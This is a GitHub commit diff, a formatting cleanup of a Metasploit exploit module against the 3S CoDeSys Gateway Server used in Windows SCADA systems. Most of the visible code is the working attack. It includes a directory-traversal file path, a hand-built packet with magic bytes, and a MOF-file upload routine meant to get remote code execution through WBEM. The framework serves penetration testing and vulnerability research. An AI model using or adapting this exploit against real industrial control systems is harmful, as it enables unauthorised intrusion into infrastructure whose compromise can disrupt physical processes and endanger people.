Skip to content

Commit 16d7b62

Browse files
committed
Format cleanup
1 parent 7219c7b commit 16d7b62

File tree

1 file changed

+27
-25
lines changed

1 file changed

+27
-25
lines changed

modules/exploits/windows/scada/codesys_gateway_server_remote_execution.rb

Lines changed: 27 additions & 25 deletions
Original file line numberDiff line numberDiff line change
@@ -4,38 +4,41 @@
44
# web site for more information on licensing and terms of use.
55
# http://metasploit.com
66
##
7+
78
require 'msf/core'
8-
class Metasploit3 < Msf::Exploit::Remote
99

10+
class Metasploit3 < Msf::Exploit::Remote
1011
Rank = ExcellentRanking
12+
1113
include Msf::Exploit::EXE
1214
include Msf::Exploit::FileDropper
1315
include Msf::Exploit::Remote::Tcp
1416
include Msf::Exploit::WbemExec
1517

1618
def initialize(info = {})
1719
super(update_info(info,
18-
'Name' => 'SCADA 3S CoDeSys Gateway Server Remote Execution',
19-
'Description' => %q{
20-
This module exploits arbitrary file creation to execute a mof file
21-
gaining remote execution within the SCADA system
22-
},
23-
'Author' =>
24-
[
25-
'Enrique Sanchez <[email protected]>'
26-
],
27-
'License' => 'MSF_LICENSE',
28-
'References' =>
29-
[
30-
['ICSA-13-050-01', '02-19-2013']
31-
],
32-
'DisclosureDate' => 'Feb 02 2013',
33-
'Platform' => 'win',
34-
'Targets' =>
35-
[
36-
['Windows Universal S3 CoDeSyS < 2.3.9.27', { }]
37-
],
38-
'DefaultTarget' => 0))
20+
'Name' => 'SCADA 3S CoDeSys Gateway Server Directory Traversal',
21+
'Description' => %q{
22+
This module exploits arbitrary file creation to execute a mof file
23+
gaining remote execution within the SCADA system
24+
},
25+
'Author' =>
26+
[
27+
'Enrique Sanchez <esanchez[at]accuvant.com>'
28+
],
29+
'License' => 'MSF_LICENSE',
30+
'References' =>
31+
[
32+
['CVE', '2012-4705'],
33+
['URL', 'http://ics-cert.us-cert.gov/pdf/ICSA-13-050-01-a.pdf']
34+
],
35+
'DisclosureDate' => 'Feb 02 2013',
36+
'Platform' => 'win',
37+
'Targets' =>
38+
[
39+
['Windows Universal S3 CoDeSyS < 2.3.9.27', { }]
40+
],
41+
'DefaultTarget' => 0))
3942

4043
register_options(
4144
[
@@ -53,16 +56,15 @@ def check
5356
# remote_filepath: Remote filepath where the file will be uploaded
5457
# remote_filename: Remote name of the file to be executed ie. boot.ini
5558
# local_file: File containing the read data for the local file to be uploaded, actual open/read/close done in exploit()
56-
5759
def upload_file(remote_filepath, remote_filename, local_filedata = null)
5860
magic_code = "\xdd\xdd"
5961
opcode = [6].pack('L')
6062

6163
# We create the filepath for the upload, for execution it should be \windows\system32\wbem\mof\<file with extension mof!
6264
file = "..\\..\\" << remote_filepath << remote_filename << "\x00"
63-
print_debug("File to upload: #{file}")
65+
#print_debug("File to upload: #{file}")
6466
pkt_size = local_filedata.size() + file.size() + (0x108 - file.size()) + 4
65-
print_debug(pkt_size)
67+
#print_debug(pkt_size)
6668

6769
# Magic_code + packing + size
6870
pkt = magic_code << "AAAAAAAAAAAA" << [pkt_size].pack('L')

0 commit comments

Comments
 (0)